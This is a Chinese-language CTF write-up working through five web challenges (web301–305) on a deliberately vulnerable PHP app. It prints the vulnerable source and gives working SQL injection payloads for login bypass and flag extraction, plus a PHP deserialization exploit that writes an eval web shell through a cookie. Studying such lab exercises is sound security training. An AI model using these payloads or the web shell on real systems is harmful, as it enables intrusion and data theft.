web301
主要审计checklogin页面,我对源码做了些许注释
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){ //如果result的结果集中行的数量小于一,则session错误
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){//如果输入的userpwd和数据库中查出的psw相同,则进入主页面。
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
strcasecmp
判断两个数是否相等,如果相等就返回0,前面加个!,相等应该返回1,可以直接执行这个语句。
可以看到,sql语句没有任何转义和过滤,所以我们可以通过sql注入,使查出的结果和pwd相同
使用联合查询: userid=-1' union select 1 from sds_user %23&userpwd=1
web302
改了这个地方
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
可以看到我们的$usedrpwd被编码了,sds_decode,好在我们知道它的加密的方法。
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode(1);
?>
//d9c77c4e454869d5d8da3b4be79694d3
userid=-1' union select d9c77c4e454869d5d8da3b4be79694d3'' from sds_user %23&userpwd=1
web303
下载源码
发现多了个user.sql的文件
里面插入了一个账号,admin,后面密码也是admin的意思
这里去看看checklogin,发现
长度限制了,不能从开始直接注入了
用admin,admin登录
<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
}
?>
发现注入点insert语句没有任何过滤,直接注入
之后就是正常的sql注入
1'and (select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
dpt_name=1&dpt_address=2&dpt_build_year=2022-01-22&dpt_has_cert=on&dpt_cert_number=2&dpt_telephone_number=1%27+and+%28select+group_concat%28flag%29+from+sds_fl9g%29#
最后负载query函数。
web304
虽然添加了waf,但是waf没有用到注入点,所以上题的payload还可以用
web305
首先查看checklogin,多了个和·这个
再看文件目录
多了个class.php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
是个反序列化的类,我们可以通过file_put_contents函数,写入一个🐎
再看看我们上次注入的地方
都被waf给安排了,没办法,只能反序列化写马了
要在cookie处传值
因为是在checklogin页面,所以这个🐎要在checklogin页面写,又因为到checklogin的时候会跳转到login,所以直接抓包传值
<?php
class user{
public $username='shall.php';
public $password= '<?php eval($_POST[1]);?>';
}
$a=new user();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shall.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
然后访问shall.php页面,可以直接连蚁剑
他的flag不在目录中,需要再数据库中操做
而conn.php的密码是假的,需要在网站的conn.php里找
然后连蚁剑查找flag
或者
直接在shall.php页面下进行任意代码执行
1=include "conn.php";
$sql="select group_concat(flag) from sds_flabag "; //MySQL代码
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
print_r($row);
然后就是我的一些疑问,为什么要对序列化进行url编码
所以我们把内容进行url编码,可以防止,浏览器对一些字符的错误识别。
小结
做完之后,就觉得sql注入这方面还是不行,都忘了,以前的基础查询语句都忘了,还是要补一下。